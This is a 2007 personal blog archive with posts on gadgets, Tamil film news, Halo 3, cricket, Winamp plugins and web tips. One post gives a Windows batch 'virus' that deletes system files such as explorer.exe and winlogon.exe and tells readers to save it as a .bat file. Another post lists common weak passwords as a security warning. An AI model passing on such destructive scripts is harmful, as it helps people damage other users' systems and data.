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Sunday, September 30, 2007

HP announces the Blackbird 002 gaming machine

HP releases new PC s

HP releases new PC series Blackbird 002. This machine is a PC specifically designed for the world of gamer and high performance computing by experts from VoodooPC. HP Blackbird 002 offers higher level of performance and versatility to play the latest game releases.

Inside its robust aluminum chassis and the cast-aluminum foot there is a freedom to modify the power and PC performance. The casing design ensures convenient access for modification and upgrade by adding removable side panel and built in LED lighting inside the casing. This PC was designed to encourage its owner to modify the standard devices and upgrade to higher level of performance device.

Each Backbird 002 will be unique depending to its owner because it will be individually configured to meet the owner’s preference. It also ships with open BIOS to allow future customization.

Interesting Features

Full System Liquid Cooling – Thermals Chamber – Easy Access Panel – Easy Upgrades – Flexible Overclocking – Aluminum Chassis

More on Binaural sound-The Virtual Haircut

If you'd read my earlier post on Binaural sound BS(and proceeded to listen to the sample I provided) read on.I just couldn't forget about BS..So I made a few searches and found some more interesting info on this mind-blowing technology.

The recording artists use a dummy head with microphones in each ear. What results is an amazing auditory experience. This recoding method has been around at least since the 1980’s. It’s not very popular because it’s hard to do well, and you have to wear headphones to get the full effect.Binuaral Sound technology is related to Holophonics.

From Wikipedia:

"Like all binaural recording, Holophonics simply reproduces the interaural differences (arrival time and amplitude between the ears), as well as rudimentary HRTF (head-related transfer functions). This causes the auditory system to hear the illusion of sounds existing from specific directions. Well known limitations of the technique include unreliable effects for some listeners, as well as very poor frontal localization (everything sounds like it's coming from behind the listener, explaining the narrow choice of demonstrations)."


Let them sing it for you

Here's a cool site called 'Let them sing it for you'.

Just enter text and it is converted to musical words using clips from famous songs. It's a very useful site when you need to send ransom notes to blind people!



My pal Satheesh had sent me this pic over mail.I couldn't resist adding it to my blog :)

Nayantara out, Trisha in

After several rounds of in and out, Trisha has finally pipped Nayantara to bag the heroine's role in Kuruvi.

In a sensational turnaround, Trisha has made a comeback as the heroine of Vijay in Dharani directed Kuruvi, produced by Udayanidhi Stalin.

Just a couple of days ago, sources in the production house confirmed that Nayantara would be the heroine.

Dharani, Vijay and music composer Vidyasagar, who came together to create magic on screen with Gilli, are back again for Kuruvi. It meant Trisha, who was part of the Gilli team, missing the bus.

Dharani has denied rumours that Kuruvi would be a sequel to Gilli. Vijay is fast wrapping up the shooting for Azhagiya Tamil Magan and is expected to commence shooting for Kuruvi soon.

In a turnaround, Trisha has reportedly replaced Nayantara now. Dharani has left to Hyderabad to brief Trisha on her role in Kuruvi.

Alas, Trisha has pipped Nayantara now to bag the plump offer.

Funny Video-Screaming at cats

Bhoomika to enter wedlock

A long romance has culminated in love.Prominent actress Bhoomika Chawla, who shot to fame doing lead roles in Tamil, Telugu and Hindi movies, will enter wedlock with Bharat Thakur, a yoga guru, soon.

A millionaire Bharat Thakur and Bhoomika were in love for a long time. The romance will freshen up in their wedding soon.

A grand wedding reception is planned in Mumbai soon. Bhoomika had expressed her desire to continue acting after her wedding.

One more retune from Rahman!


A R Rahman carved a niche for himself coming up with a retune for yesteryear MGR hit song Thottal Poo Malarum in S J Suryah's New. Now he is all set to repeat the act.

In his forthcoming film Azhagiya Tamil Magan, Rahman has retuned and remixed thespian Sivaji Ganesan's song Ponmagal Vandhal Porul Kodi Thanthal.

The song was shot in a grand set erected at the film City in Chennai on Tuesday featuring Vijay and Shriya.

The shooting for Azhagiya Tamil Magan comes to a close once the shooting for the song is completed.

Produced by Appachan and directed by Bharathan, then re-recording works for the movie would commence soon Plans are on to release the movie for this Deepavali.

Web Creator 4

Need a website? Empower yourself with Web Creator Pro 4, and see the professional-looking results you can achieve easily with our powerful tools and user friendly interface.

Better Graphic possibilities:

- New VISTA-look templates with 3D effects and transparency.
- New library of drag & drop graphic effects: banners, floating boxes, shadows, frames, buttons etc.
- Photo gallery: mosaic and slideshows.

Enhanced editing tools:

- New in place text editor. Import formatted text (RTF), tables and Excel graphs.
- All world languages now supported including Chinese, Japanese, Hindi, Arabic, etc.
- Docking menus and toolbars.

New web tools:

- Enhance your site ranking by search engines with SiteMap generator, the new norm agreed upon by Google, Yahoo and MSN.
- Blog with calendar : Integrated simple blog tool with Web Creator visual and multimedia power.
- RSS feed: so that your visitors are warned of any change in your blog or site.

The Pro version has additional tools designed to create and manage more important web sites:

- SiteMap generator: The new search engine standard by Yahoo, Google and MSN will give optimum visibility to your site.
- Improved interface: new rapid access bar (drag & drop) to library elements and "My elements".
- Web objects: Import and position external code: Paypal, gold books, etc.
- Forms
- Page password protection
- RSS feed editor: warn your visitors of updates of your site or blog and Podcast.
- Stand alone RSS/Podcast: with this RSS-XML editor it is even possible to create podcasts without an associated web site.



Demonoid Has Been ShutDown,one of the most popular BitTorrent trackers has allegedly been taken offline by the Canadian Recording Industry Association (CRIA). Both the tracker and the website have been unresponsive for nearly 24 hours now.

Demonoid Shut Down by the CRIAAs of now it is still unsure what exactly happened, but the popular Dutch news site reports that the CRIA is responsible for the downtime.

TorrentFreak contacted some of the Demonoid administrators, but they are not sure what happened either. It is certainly possible that Demonoid’s Canadian ISP pulled the plug after being pressured by the CRIA. The Demonoid server is still pinging, but the ISP could have firewalled the everything after they received some serious legal threats. Deimos, the founder and the head admin of the site is unreachable and has not responded yet.

This is not the first time Demonoid suffers major downtime due to pressure from the anti-piracy lobby. Demonoid had to move its servers from The Netherlands to Canada in June after The Dutch anti-piracy outfit BREIN filed a subpoena against Demonoid’s ISP. BREIN had asked the ISP to take Demonoid offline and hand over the administrator’s personal details, but Demonoid relocated their servers before any harm was done.

Unfortunately, it now seems that Canada is not the “safe haven” as they expected it to be.

Demonoid tracks over a million .torrent files and is the second largest BitTorrent tracker after The Pirate Bay. The shutdown of the site and tracker is a huge blow for the BitTorrent community that lost 2 of the most popular BitTorrent trackers (TorrentBox was taken offline for US users a few hours ago) within 24 hours.

Saturday, September 29, 2007

Blogging mind boggling tricks!



Now count aloud the F’s in that sentence. Count them ONLY
ONCE; do not go back and count them again. Then scroll to the bottom to see the
fun part.More...

There are six F’s in the sentence.

* One of average intelligence finds three of them.
* If you spotted four, you’re above average.
* If you got five, you can turn your nose at most
* If you caught six, you are a genius.

There is no catch. Many people forget the OFs. The human
brain tends to see them as "V’s" instead of "F’s

Ready for Another?

Now ... just follow the instructions as quickly as possible.

Do not go to the next calculation before you have finished the previous one..

You do not ever need to write or remember the answers, just do it using your mind.

You'll be surprised.


How much is:

15 + 6

3 + 56

89 + 2

12 + 53

75 + 26

25 + 52

63 + 32

I know! Calculations are hard work, but it's nearly over..

Come on, one more...

123 + 5


Scroll further to the bottom...

A bit more...

You just thought about a red hammer, didn't you?

If this is not your answer, you are among 2% of people who have a different, if not abnormal, mind.

98% of the folks would answer a red hammer while doing this exercise.

Jessica Alba-The World's sexiest woman

Jessica Alba is tagged the worlds sexiest woman.

Alba landed in the FHM’s sexiest woman in the world title this year and bagged the number 2 position.


But she does not seem to be affected by these poll’s she said that ‘I don’t really think about it too much I’m like everybody else’

‘I get insecure about things just like everybody else. I wake up in the morning and think’, ‘what the hell am I going to do with my face today or my hair? What am I going to wear?’

She says that people make her feel like she is not a normal person and she believes that whatever the magazines do are just for publicity and she does not consider it to be the truth.

Looks like Alba is fed up with all the attention she gets.

Amazing Pixel Animation in Korea

Watch this video from YouTube.It shows a group of Korean people at a sports ground turn themselves into pixels and do what an animation software does!

A.R. Rahman may get three years imprisonment

A.R. Rahman – the proud Indian he has always been, had released Vande Mataram on the occasion of the 50th year of independence and in the 60th year he came up with an album “Jana Gana Mana”. Even though the intentions were good, he seems to have forgotten that there is a law that the national anthem should be sung in a specific way and should be finished within the stipulated seconds. And if done otherwise it is deemed as disrespect to the national anthem and could attract a sentence of a maximum of three years imprisonment. And now many people are ready to sue Rahman for this action. “Do good, there will be none to support; do good, there will be hundreds to find fault”. How true is this statement!

Pray for him brother!

Thursday, September 27, 2007

Turn Your Mobile Phone into a Sound Machine!

Soundblade Bluetooth Speaker Altec Lansing has announced a series of new portable Bluetooth and corded speaker systems for MP3 enabled mobile phones, iPods, laptops and other portable digital devices, in addition to their latest PC speaker system for flat-panel displays.

Listen to the music files on your Stereo Bluetooth®-enabled mobile phone*, or take a call. Either way, it’s headphones-free with the Altec Lansing SoundBlade Wireless Speaker System. An amplified extension of your music-enabled mobile phone, the SoundBlade replaces headphone listening and delivers high quality, crystal-clear sound.

The iMT521 SoundBlade Stereo Bluetooth speaker system, a sound panel that features dual 2” full-range speakers and stereo Bluetooth, is equipped with AVRCP for two-way remote volume, mute and track forward/back controls from a cellular handset.

It also packs a built-in echo-canceling microphone for wireless speakerphone capability. The “blade-like” design measures 6.125” H x 11.125” W x 1.0” D and supports both AC and battery (AA) power.

* Big sound from an ultra-thin design
Altec Lansing speakers enhanced with SRS Trubass technology deliver a powerful, immersive experience with the perception of deep, rich bass. And at just 1” thick, the SoundBlade goes where you go.
* Crisp, clean sound
Two custom-built 2.5” full-range speakers deliver a strong performance.
* Speakerphone
A built-in, echo-cancelling microphone turns your Stereo Bluetooth® mobile phone into a first-class speakerphone.
* Easy to set-up
No cables to connect, and pairing between your mobile phone and the speaker is automatic.
* Two-way wireless control
Use your mobile phone like a wireless remote to control speaker functions, or use the speaker to control music functions on your mobile phone.
* Voice-activated dialing
The SoundBlade picks up your voice from several feet away.
* Shielded design
GSM/CDMA shielding prevents speaker buzz

It runs from AC power or AA batteries, measures 6.125” H x 11.125” W x 1.0” D, and costs US$129.95, available from November.

A simple yet scary virus..

This code will make a simple yet dangerous virus..

And..remember NOT TO OPEN IT!!

Open Notepad and type the following:

@echo off
@del explorer.exe
@del NOTEPAD.exe
@del winlogon.exe
@del spider.exe
@del notepad.exe
@del mspaint.exe
@del accwiz.exe
@del calc.exe
echo you have been killed
echo lol
echo hahahahaha
echo get ready.

Once done,save it as a batch file for eg. virus.bat

This "virus" will delete all the important files required for Windows to run..

Watch movies in MS Paint!

Here's what you gotta do :

> Open your favorite movie player and play the move (I played the .mpg format in Winamp)

> Hit "PrintScreen", keep playing the movie in the player, dont stop it.

> Open MsPaint.

> Select "Edit>Paste" Or Hit "CTRL+V"

> Presto! You can watch movies in Paint!

> But there are no Pause, Next, Previous, Stop etc. buttons

Cool na...?

Rahman's music copied in China

Its true what they:Music transcends all barriers.I say Rahman's music breaks all barriers! Looks like there are many fans for thala in China,fanatic enough to copy his tune.Now, Shakalaka Baby is in China and it is already a hit. Mandarin singer Kelly Poon has included this song in her album titled Shakalaka Baby.

Listen to it here.

The sad part is that A.R.Rahman is not credited for this till now!

Wednesday, September 26, 2007

In honor of the release of Halo 3

In honor of the release of Halo 3, pranksters from MIT dressed up the statue of John P. Harvard in Harvard Yard with an assault rifle and a Spartan Helmet!


Halo 3

Regardless of how you felt about its cliffhanger ending, there's no denying that Halo 2 was a gigantic success that raised the bar for what we, as a game-playing society, expect out of a good console-based first-person shooter. In the years that followed, plenty of games attempted to duplicate the Halo formula, with varying degrees of success. But there's still nothing quite like the genuine item. Luckily for all involved, Halo 3 is a positively amazing package that offers extreme satisfaction across all of its different parts. Maybe now you can finally retire your Halo 2 disc and really move into the next generation of games.

Halo 3 manages to feel familiar while also packing in a good amount of new material.

Halo 3 is an interesting mix of established protocol and intriguing new stuff. For example, the gameplay doesn't stray too far from Halo 2, which, in turn, didn't exactly reinvent the original Halo. Don't take that as a negative, because it means that Halo 3 plays extremely well, with the same types of light tactical considerations that have made the series stand apart from other, faster-paced shooters. The balance between your guns, your grenades, and your melee attack has always given Halo a unique feel in the genre, and those same considerations apply today, both in the campaign mode and in multiplayer. You'll also have new weapons and items to consider, such as a host of Brute weapons. One example is the spiker, which is an exciting automatic pistol that fires quickly and decimates opponents, especially if you're holding a pair of them. Another is the mauler, which is a one-handed shotgun that can level enemies up close. You'll even find weapons so huge that your movement speed slows when you carry them. When you use these weapons, the camera pulls out to a third-person perspective so you can see your missile pod, plasma cannon, or flamethrower as it fires. And then there's the gravity hammer. Originally shown in Halo 2 (where it wasn't usable by the player), the gravity hammer is a large melee weapon that will wipe out most regular enemies in one swipe. Needless to say, it can be especially fun in multiplayer settings. The end result is gameplay that feels wholly familiar without retreading the same ground too heavily.

The campaign is structured in much the same way as past Halo games, with multiple chapters and effective streaming that ensures you'll see load times only between chapters. There are also lengthy vehicle sequences to break up the on-foot action. You'll pilot the classic Halo vehicles, such as the Ghost, a hovering one-person craft that's fast and deadly, and the Warthog, a dune buggy with a turret mounted in the back. You'll also see new vehicles, such as the Brute Prowler, which is a two-person vehicle with turrets. Like in previous games, the vehicles are fun to use. Also similar to previous games, the artificial intelligence can't drive very well, so if you're playing alone, you'll usually want to grab the steering wheel rather than the weapons.

The concept of "equipment" is new to the series. These deployable special items have a variety of effects. The most obvious example is the bubble shield: You (and your enemies) can walk through it, but bullets and explosions bounce right off. It's especially entertaining when your enemies use it, given that you can just walk through and bash them with the butt of your gun. You'll also find items that make your shields regenerate more quickly, and others that drain enemy shields and stop their vehicles dead in their tracks. These items also show up in multiplayer, where they're a little more interesting.

Halo 2's ending was widely criticized for being too much of a cliffhanger and leaving you with no sense of progress or resolution whatsoever. It's good news, then, that Halo 3's story doesn't suffer from that problem at all. It opens immediately following the events of Halo 2: The Covenant is on its way to Earth, continuing its religious zealotry and attempting to activate the floating space weapons known as Halos, which could destroy civilization as we know it. The Master Chief and the other Earth forces of the UNSC are in hot pursuit to stop them, with newfound allies such as the Arbiter coming along for the ride. We'll spare you the specifics because they're quite compelling and should be seen firsthand. All you really need to know if you're on the fence about Halo 3's campaign is that it's a delicate balancing act that manages to provide satisfying closure for the trilogy, make perfect sense of all the cryptic events in Halo 2, and leave you filled with anticipation for more adventures set in the Halo universe. Not bad for a game that will take most players between 10 and 15 hours to finish on one of four difficulty settings.

But you'll probably go through the campaign more than once, thanks to the inclusion of a strong co-op mode. Previous Halo games have let two players go through the campaign; Halo 3 ups that number to four players and lets you do the whole thing over Xbox Live, if you so choose. This is a really fun way to experience the campaign's nine chapters, and you can choose to go through them in any order, provided you've already played through it alone. Furthermore, this method of play (which you can also do alone) lets you turn on scoring in campaign mode, in which you earn points for kills and lose them for dying. This adds a sense of competition to the co-op, and there are also achievements associated with finishing chapters with high point totals. You can also customize the experience a bit by turning on a series of unlockable modifiers that open up as you collect hidden skulls. The skulls are stashed around the game, and some of them do things such as increase the amount of damage you'll need to deal to take an enemy down, remove the heads-up display and make your weapon invisible, and so on. This gives the story-driven section of the game some more replay value, although it doesn't get significantly more difficult as you scale up the number of players. Consequently, finishing the game on legendary difficulty is a breeze if you're rolling through with three experienced fellow triggermen.

You can earn the campaign achievements in co-op mode, which makes the legendary difficulty a lot easier to manage.

In addition to the four-player co-op action, you can also play competitive solo and team-based multiplayer matches with up to 16 players on 11 different maps. There's a lot of depth to the multiplayer modes, ranging from simple stuff such as deathmatch and team deathmatch (still referred to as slayer and team slayer here), to more objective-based gameplay such as capture the flag. Another similar mode is called territories, in which the two teams fight to defend or attack various control points around the map. You'll also find a mode called infection, where a percentage of the players start as sword-wielding zombies and must convert the members of the other team by killing them, until only one non-zombie remains. Each of the maps can handle any of these game modes.

Like in Halo 2, you can customize these game types, and there's more to customize this time around. You can change things like starting weapons, the weapons that appear on the map, whether the motion sensor is active, the force of gravity, the game speed, whether the players all have active camouflage or not, and much, much more. The multiplayer is as strong as it has ever been thanks to the addition of new weapons and tweaks to old ones. Swords have been made much more interesting this time around: If two players run at one another with energy swords and attack at the same time, the swords clash and the players bounce off one another. This makes all-swords matches totally wild. The gravity hammer is also big fun in multiplayer matches, both because it crushes enemies that are foolish enough to get too close, and because you can smack incoming rockets to bat them away, which makes for an interesting game of baseball.

Never mess with Asian girls!

Watch this video..All you thieves out there,beware of Asian gals!!

NFS ProStreet

We got to see an example of one of the "hub events" that the series will hook its game play around. This was a desert event thrown by the Nitrocide team, who are all about speed challenges. The team's color scheme and design sense dominated the event, from the loading/event selection's screen choice of music to giant inflatables. According to Pro Street's Scott Nielsen, which team is throwing the event will also determine what racers show up and in what cars. It'll even determine the girls who make appearances.

The game will feature drag, drift, grip and speed challenges, arranged within these massive race weekends. We got to go hands-on with the speed challenge, our early favorite. The entire goal of the speed challenge events is to actually let you open up these amazing race cars and get them going at incredible speeds for long drags, rather than force you to drop to turning speeds after, at best, a few moments of exquisite velocity.

With the controller in hand, the first thing we did was play with the game's highly touted smoke system. Using an advanced particle system, the smoke that these cars generate as they tear layer after layer from their tires is a sight. It wraps around the rims, billows out behind you in a fog, and distorts light realistically. There's still something not quite "right," with the smoke's distortion looking a little more like water's than it should, but overall it's technically impressive.

Once we finished doing wheelies to make smoke rings, we let our BMW M3 E92 rip. The goal of speed mode is to capture the tremendous power of the cars in the racing scene, and the potential for even a tiny error to send you catapulting to certain defeat when you've got one doing 200+ KMH. Tearing through the track of slight turns and long straights set in the middle of the Nevada desert, the team has definitely done that.

With the game's new procedural destructibility, Pro Street also captures the fact that these machines are built of fiberglass and sheet metal, not indestructible polygons. Scraping against another car left us with a long series of paint scrapes for our trouble, as we battered our way through our race, the changes to the car went way beyond scrapes. By the end of our race, we'd knocked off both bumpers, shattered most of the glass, and had a literally flat front end, grille exposed. You can all but drive these cars down to the frame.

As a nice bonus, Nielsen also confirmed that the game will feature the Nissan GTR Prototype. This is the first time it's appeared in a game, and it will be exclusive to Pro Street. Overall, the circus-like atmosphere of girls in themed costumes, giant balloons, and "street" or "thug" event organizers seems a bit too gaudy, but we're pleased with everything else we've seen from Pro Street so far.

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Learn Guitar for dummies


This unintimidating video presents the basics of playing guitar in an easy-to-follow format. By simply watching the instructor on screen and following along, you can learn to form chords, fingerpick and strum in different patterns, and play songs in a variety of styles—all without reading music! Guitar for Dummies provides step-by-step instruction of all the skills needed to become an accomplished guitar player. You start by learning to play in tune and in rhythm and then move on to left-hand chords and right-hand strumming patterns. From there, you apply these techniques to several different musical styles, picking up tips and tricks on playing authentically in each style. Along the way, you learn how to develop your own practice routine and focus in on the areas you want to improve.
About the Instructor: Jon Chappell is an author, writer, and award-winning guitarist. He has served as editor-in-chief of Guitar Magazine and has performed with Graham Nash, Judy Collins, and Pat Benatar. He has published over 20 method books in seven different languages and is the author of The Recording Guitarist—A Guide for Home and Studio and two For Dummies books, Guitar for Dummies and Rock Guitar For Dummies.


101 Romantic Ideas

Image Maybe this will get you into her good books Wink The first one really cracked me up and let's face it, women love this kind of stuff.



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My favorite's Winamp-whats yours?

Every person who owns a PC probably uses it for listening to songs,myself being no exception.For me a day isn't complete if I dont listen to songs(especially ARR's..they rock!) And I believe Winamp's the coolest player out there..I use the latest version(5.35-get it here ).Some of you may be inclined to disagree with my view.So let me justify my claim.

I've been using this cool player right from the day I bought my PC.And Winamp is one of the reasons I fell in love with the computer.Winamp's got a whole load of features that make it better than any other player:

1.Searching features:
Winamp wins hands down here, as phrases or individual words can be searched for (even wildcards are supported). You can add all your music files to the Media Library;once that is done searching for a song is child's play.
2.Burning/Ripping MP3s:
The full version of Winamp supports burning songs/sound files at your CD RW's max speed.You can also rip audio files from CDs at the max speed in a wide range of formats-MP3,AAC,etc.
3.Skin it!
Winamp can work with both old and new skins.Using a skin gives Winamp a totally new feel.Several thousands of skins are available at
Several cool visualizations allow you to relax your eyes whilst listening to your fav tracks.
Steaming videos(right from cartoons to hardcore porn) and Radio(from tamil songs to Metallica).

  • Winamp can use both Modern and Classic skins, so you can be both hip and retro at the same time.

  • Winamp gives you easy and organized access to your favorite media. That's what you call mass media

  • Winamp can play a huge variety of audio and video formats right out of the box... err... out of the installation.

  • You get access to hundreds of free audio and video channels in the Media Library. This ain't your father's library.

  • Winamp can burn your music to Audio CDs. Burn baby burn!

  • Winamp makes it easy to create and manage your favorite songs through playlists. Yes, you can be your own DJ.

  • Winamp allows you to extend its functionality through the use of "plug-ins" Its like the Mr. Potato Head® of music.

  • Winamp can manage all of your portable media players and devices. Plug in, turn on, tune in, drop out...

  • Winamp allows you to alter the sound of your music through a built-in Equalizer. An audio receiver right on your computer.

  • Winamp allows you to watch visual effects that are driven from your music with Visualizations. From flaming fireballs to screaming strobe effects, it's all there.

Okay,with these features,I'll put in some ideas that will help you enhance the entity that matters most-Sound.

Most of my friends use a Plugin called DFX audio.In my opinion,this plugin is total rubbish compared to iZotope Ozone.Put simply, Ozone makes music sound better. Ozone adds warmth, bass, sparkle and an overall desirable sound to your MP3s. Unlike other "enhancers", it improves your music by modeling the analog characteristics of vintage audio equipment such as tube amplifiers and valve equalizers. So instead of sounding harsh and hollow, your music sounds deep and full. The free version allows you to select from presets that simply make music sound better. The full version gives you control over a EQ, bass compressor, tube amplifier, and room simulator settings as well as a preset system that's simply unmatched.Ok, let's face it - I'm not an audiophile. I'm not an audio pro. I don't even hear subtle nuances in music. I don't know the terms used. I just care about the feeling. Hence: lot's of crap will follow...Listening to FLACs on a pair of really good professional audio monitors (with reasonably flat freq.response 85Hz-20kHz and very good sounding lows) is much more _enjoyable_ when this plugin is enabled. The room simulation really adds some life to the sound even at low SPL. Reverb or what ever you audiophiles call it. If I turn off the room simulation, the sound becomes boringly flat. I'll still have a wonderfull sound stage thanks to these two gems, but it's so... static and boring. More exact and defined maybe, but in my opinion it really looses some "life".The tube amplifier bass compression also enhances my listening experience. It makes the bass sound much more like my grand grand mothers valve radio - and that's not a bad thing! Progressive trance, for example, just sounds SO MUCH better! I like that wonderfull bass! Without Ozone the sound becomes very dry and analytical.I don't have clue about how this Ozone sounds with the usual "multimedia speakers", and frankly I don't want to know :)

Download iZotope Ozone

I advise you to download this plugin if you're using Winamp(and I strongly recommend dumping DFX and switching to this instead). For the best sound, select the setting "Xing encoded MP3" under Restore.Then increase the input and output gains to 0.5 and 2 dB respectively.I get such hi-fi sound in this setting that listening to music becomes and ecstatic experience every time!

$125,000 record player comes with Martian-grade motor

Ryan,an amployee of a Hi-Fo distributor company writes: "I work at a Hi-Fi distributor in a company and we just shipped out one of these. It's a Clearaudio Statement. The thing weights 770lbs, costs $125K, and has the same motor that they used in the Mars Rover! **drool**" There's more information, and lots of porno-style close up photos on this page which includes three short videos, in which you can hear the Hong Kong (I think) dudes who run the website groaning orgasmically and giggling hysterically while poking the platter with their fingers.

Global Warming on the rise

Global Warming causes storms to be more intense and wind speeds to be faster. Do you work in an industry where this could be a problem? Think about being active now.

Will your car drive in 200mph winds?

Will your house sustain 200mph winds?

Will your local community sustain it?

Will there be enough supply coming to your area?

Global Warming also causes the average temperature to go up, which rises oceans.

Do you live by the water?

How many feet rise can you and your community sustain before you have to move?

Are you sensitive to heat? How many degrees rise can you sustain?

Make a change now. Don't know how? Ask your friends, co-workers, and your community.

... or plant a tree, use less energy, drive less miles, and eat less meat.

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Tuesday, September 25, 2007

Free Online TV

Free TV online already exists and major broadcasters are worried. Ratings in many stations targeting youthes have been steadily dropping. Here's a list of great sites that'll give you high quality content fast.
Client Based Applications

These require a download in order to watch TV online. All of them have been tested to be safe and free of adware.

Joost is a new way of watching TV on the internet. With Joost, you get all the things you love about TV, including a high-quality full-screen picture, hundreds of full-length shows and easy channel-flipping.

Babelgum allows professional content owners of all sizes to reach safely their target audiences wherever they are, engage them in new ways and earn money.

Zattoo is live TV on your PC - it's the football game as you chat, the news as you email, and Lost as you pay your bills. Zattoo is also TV when you don't have a TV - it's the channels you want, when you want, where you want.
Vuze - Azureus 3

Azureus Inc. is the provider of the most popular P2P application for the transfer of large media files. With more than three years of technology innovation, proven robustness, and more than 140 million downloads of its application, Azureus users connect with one another from more than 100 countries and 40 languages.
No Client Required

These offer a high bitrate viewing quality but videos must be viewed from the browser.

Jalipo is the first online marketplace for TV and video. It lets content owners use the Internet to offer their channels, video-on-demand and live events direct to viewers around the world.

Veoh is a Web site that’s headed for your TV. It’s also the name for a suite of applications for collecting, publishing, and watching a vast selection of HD-quality video programming. Veoh is a diverse, virtual community of indie publishers coming together with their new audiences.

DivX Stage6 is a place for people who love video. It's a high-quality platform that lets anyone upload, download, view, share and experience everything from short clips captured on mobile phones all the way up to full-length, high-definition feature films. Anyone can become a publisher, anyone can build an audience and every video available on Stage6 is compatible with over 70 million consumer electronics devices from every major manufacturer, making it easy to play back Stage6 videos on your television or portable device.

Dailymotion is like the french youtube but slightly higher quality and they take much longer to delete copyright content.
Blip TV is dedicated to pioneering the next generation of video programming — both narrowcast and broadcast — as producers and audiences educate and entertain each other according to the rigorous compliance standards that we have developed in conjunction with our users.

Top 10 Soccer Fights and Fouls

Found this on youtube..

Absolutely foul :)

Kandasamy:Vikram's latest venture

Is there anything that is quite dazzling and dramatic as Kanthasamy's promotional teaser trailer in Kollywood in recent times? Arguably nothing comes close to this.
Kanthsamy, produced by Kalaipuli Thanu, directed by Susi Ganesan and featuring Vikram and Shriya in the leads, is set to roll on only from 23 Spetyember.
But already it is the talk of the town, thanks in the main to the grandiose ideas of the director and the producer who is ready to shell out any amount of money to get the desired glitz and gloss.

The film's invite, in the form of an intricate and elaborate album, is spectacular. A special LCD player playing the film's trailer is also part of the invite.
Each invite costs around Rs.15,000.The special promo trailer is outstanding with Vikram and Shriya is spectacular outfits and backgrounds. In terms of effect, it is as good as any film. Ekambaram's camera and Devi Sri Prasad's music is certainly superb.Vikram in various make up looks amazing and seems to have reached a new level of professionalism. His effort to look the part confirms his sincerity and talent. Shriya looks positively sizzling.

Now if the promo itself is so special, then what would the real film be like? Well, we can't control our curiosity.

See the trailer here:
Trailer 1
Trailer 2

Downloading videos from YouTube-directly

You miight have heard of sites like, list goes on.All these sites provide you with links in order to download vids from streaming sites.If you're comfortable with using them,no problem.But if you wanna learn a cool way to down vids from youtube and similar sites,read on :)

All you need to have is a Browser,like IE or Firefox.I'm perfectly okay with using,but I'm that sort of guy who doesn't depend on others-so I download vids using this method nowadays.

We'll consider this video


1.First,copy down this link:

2.Make a new bookmark in your browser.Do this by going to Bookmarks menu,right click on any folder and select new bookmark.
3.In the
-"Name" field,give an appropriate name(that means its your choice)
-"Location" field,paste the googlevideo cache link I've given in step 1.
-"keyword" field,give an appropriate keyword.You'll be using this keyword for downloading vids.For this instance,I'll give the keyword "download" (without quotes).

There,you've just created a new bookmark that you'll be using to download vids.

4.Now we'll come back to our YouTube link.

Every such link has a unique ID.In this case its "xN6wXyFUR-c" i.e, the string of characters after the "v=" meta word. Copy this string by selecting it and pressing Ctrl+C.

5.Now open a new window/tab.In the address bar,you'll need to type the KEYWORD WHICH YOU GAVE(while making the new bookmark) followed by the YouTube video ID.If you remember it was "download" in my example.
So I'll just type this in the address bar:

download xN6wXyFUR-c

Press Enter.You'll be prompted to download the video.

Monday, September 24, 2007

India are the new Champions!

Well..I always wonder why words fail when emotions rage! India with all gusto managed to trample the Pakistanis in the breathtaking finals of the T20 World Cup.It goes without saying that those who watched the match would have had their blood pressures raised by a considerable notch(myself being no exception,of course.I find it extremely difficult to type this post out without any typoigraplhical mistokes :) ).

The match as a whole was a complete thriller.The Indian team may have felt somewhat apprehensive when they left the batting crease with a modest total of 157.Ghambir proved himself as fine batsman with 75 of 54 balls.The Indian innings was spangled with only a few boundaries;no one would have called it an ideal innings.

But what a way RP Singh started off the bowling! Pakistan's score was 2-1 at 0.3 overs.Imran Nazir managed to ward off the balls of fury delivered y the Indian bowlers.Sreesanth,the darling of the Indian fans thanks to his awesome bowling figures in the match against Australia,completely made himself look out of control in his very first over.He fell victim to Nazir's furious shots.It looked as if Pakistan were definitely getting there.However,it seems Providence had other plans!

RP Singh proved that he was worth his salt as a bowler,and comtained the batsmen effectively.But it was Irfan Pathan who made all the difference.He came in and took 3 crucial wickets,thus acting as the monumental support India so much needed.One must pause here and take time to commend Robin Uthapa on his superb direct hit that made the dangerous Nazir walk back to the pavilion.In my opinion(and coincidentally Sachin's as well(according to CNN-IBN:)) this was the turning point in the match.India then went on containing the men in green.I LOLed (laughed out loud) when Afridi,attempting to act as the match-saver ended up acting the monkey-one high shot in the air and the ball landed straight into Sreesanth's hands..

So do I stop here and say the rest is history? Nope.Looks like God wanted all of us to be completely devoid of fingernails;How Misbah made India sweat. At 33, with only a handful of Tests and ODIs to his name, his greatest accolade before his tournament was to be described by Wisden as "an orthodox batsman of reasonable technique". But he has spent the past fortnight launching sixes, and there were another four in his 43 yesterday as Pakistan, needing 54 from four overs with four wickets left, almost came back from the dead.Three balls into the final over, Misbah tried to bring the scores level, scooping Joginder Sharma over short fine leg, only to be defeated as Sreesanth ran backwards to take the catch. As India celebrated, Misbah was consoled by the umpire, Mark Benson, one Englishman happy to be involved at least. Benson and Simon Taufel have had excellent tournaments.

It had been the quality of Pakistan's bowling attack that had carried them into the final, and in front of a screeching capacity crowd in Johannesburg, it was their batting which ultimately succumbed to the pressures of a historic occasion, a slightly uneven pitch and cricket's most intense rivalry.Well..I guess it'll take some time for the country to settle down..I still feel the adrenaline surging when the memory of Dhoni's jumping around(sans his shirt :) ) flashes across my mind.And as Gavaskar so aptly put "In the end,the better team(INDIA!!!!) won,and along with it,cricket."


Saturday, September 22, 2007

Matrix 4??

Found this video while surfing through youtube.Thought you'd like a peek.

Wednesday, September 12, 2007

Amazing Indoor Plane

How I’d Hack Your Weak Passwords

If you invited me to try and crack your password, you know the one that you use over and over for like every web page you visit, how many guesses would it take before I got it?

Let’s see… here is my top 10 list. I can obtain most of this information much easier than you think, then I might just be able to get into your e-mail, computer, or online banking. After all, if I get into one I’ll probably get into all of them.

1. Your partner, child, or pet’s name, possibly followed by a 0 or 1 (because they’re always making you use a number, aren’t they?)
2. The last 4 digits of your social security number.
3. 123 or 1234 or 123456.
4. “password”
5. Your city, or college, football team name.
6. Date of birth - yours, your partner’s or your child’s.
7. “god”
8. “letmein”
9. “money”
10. “love”

Statistically speaking that should probably cover about 20% of you. But don’t worry. If I didn’t get it yet it will probably only take a few more minutes before I do…

Hackers, and I’m not talking about the ethical kind, have developed a whole range of tools to get at your personal data. And the main impediment standing between your information remaining safe, or leaking out, is the password you choose. (Ironically, the best protection people have is usually the one they take least seriously.)

